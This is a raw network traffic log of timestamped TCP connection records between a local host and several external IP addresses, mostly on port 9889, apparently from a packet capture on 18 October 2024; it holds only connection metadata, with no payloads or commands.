Oct 18, 2024 23:46:19.805738926 CEST	49710	300	192.168.2.5	115.236.153.230
Oct 18, 2024 23:46:19.805763006 CEST	49708	300	192.168.2.5	103.192.208.24
Oct 18, 2024 23:46:19.810632944 CEST	300	49709	115.236.153.243	192.168.2.5
Oct 18, 2024 23:46:19.810647011 CEST	300	49710	115.236.153.230	192.168.2.5
Oct 18, 2024 23:46:19.810662031 CEST	300	49708	103.192.208.24	192.168.2.5
Oct 18, 2024 23:46:19.829969883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.829984903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.829999924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830090046 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.830148935 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.830265999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830281019 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830296040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830310106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830326080 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830339909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.830352068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.830352068 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.830400944 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.836971998 CEST	49707	300	192.168.2.5	103.192.208.26
Oct 18, 2024 23:46:19.839329958 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.839415073 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.839519024 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.839852095 CEST	49726	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.839896917 CEST	443	49726	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.840678930 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840694904 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840711117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840725899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840739965 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840754032 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840754032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840769053 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840779066 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840790033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840804100 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840827942 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840833902 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840848923 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840872049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840873003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840873003 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840888023 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840902090 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.840933084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840933084 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840980053 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.840980053 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.841023922 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.841450930 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.841768980 CEST	49727	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.841782093 CEST	443	49727	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.841800928 CEST	300	49707	103.192.208.26	192.168.2.5
Oct 18, 2024 23:46:19.842571020 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.842626095 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.843461037 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.843485117 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.843497038 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.843586922 CEST	49728	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.843600035 CEST	443	49728	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.843622923 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.844214916 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.844227076 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.844280005 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.844316959 CEST	49729	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.844326019 CEST	443	49729	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.844412088 CEST	49730	443	192.168.2.5	13.107.246.45
Oct 18, 2024 23:46:19.844423056 CEST	443	49730	13.107.246.45	192.168.2.5
Oct 18, 2024 23:46:19.849607944 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849657059 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849672079 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849721909 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849772930 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849803925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849819899 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849834919 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849849939 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849870920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849884033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849884987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849901915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849910021 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849915981 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849931955 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849939108 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849946976 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849961042 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.849978924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.849978924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.850022078 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.850217104 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850233078 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850249052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850315094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.850315094 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.850322008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850337029 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850352049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.850388050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.850424051 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882529020 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882565975 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882611990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882663965 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882731915 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882734060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882787943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882822037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882833004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882857084 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882870913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882870913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882891893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882903099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882945061 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.882956028 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.882994890 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883009911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883028984 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883061886 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883076906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883076906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883121014 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883160114 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883229017 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883234024 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883277893 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883281946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883336067 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883452892 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883505106 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883522987 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883538008 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883572102 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883590937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883605957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883637905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883637905 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883672953 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883702040 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883754969 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883796930 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883820057 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883829117 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883853912 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883893013 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883903980 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883904934 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.883936882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.883970022 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884002924 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884002924 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884035110 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884059906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884059906 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884105921 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884438992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884505033 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884521961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884553909 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884588003 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884603977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884603977 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884619951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884654999 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.884665012 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884665012 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.884713888 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908443928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908489943 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908536911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908536911 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908548117 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908584118 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908621073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908646107 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908646107 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908654928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.908675909 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.908706903 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947118044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947194099 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947200060 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947256088 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947293043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947304010 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947304010 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947335958 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947388887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947388887 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947417021 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947473049 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947508097 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.947509050 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947510004 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.947566032 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.958853960 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.958879948 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.958904028 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.958920002 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.958929062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.958929062 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.958961964 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.958962917 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959027052 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959043026 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959059000 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959091902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959091902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959112883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959127903 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959131002 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959144115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959156990 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959161043 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959178925 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959187031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959187031 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959196091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959220886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959220886 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959228992 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959270000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959270000 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.959534883 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.959626913 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966607094 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966681957 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966696978 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966720104 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966767073 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966769934 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966785908 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966800928 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966824055 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966833115 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966849089 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966849089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966866016 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966880083 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966881037 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966897964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966900110 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966921091 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966938972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966939926 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966953039 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966969013 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.966979027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966979027 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.966984987 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.967000961 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.967014074 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.967051029 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.967051029 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.967657089 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.967681885 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.967695951 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.967736006 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.967772961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999573946 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999589920 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999655962 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999671936 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999680996 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999696970 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999711990 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999727964 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999773979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999773979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999773979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999773979 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999850035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999900103 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:19.999938011 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999953985 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:19.999982119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000016928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000016928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000016928 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000129938 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000145912 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000160933 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000176907 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000209093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000209093 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000236988 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000614882 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000674009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000689030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000690937 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000727892 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000751972 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000766993 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000767946 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000785112 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.000813961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000813961 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.000844955 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001002073 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001025915 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001039982 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001069069 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001069069 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001125097 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001161098 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001176119 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001190901 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001209974 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001230001 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001255035 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001271009 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001286030 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001303911 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001336098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001336098 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001375914 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001380920 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001393080 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001437902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001437902 CEST	49720	9889	192.168.2.5	61.147.93.116
Oct 18, 2024 23:46:20.001688004 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001703024 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001718044 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001735926 CEST	9889	49720	61.147.93.116	192.168.2.5
Oct 18, 2024 23:46:20.001760960 CEST	9889	49720	61.147.93.116	192.168.2.5
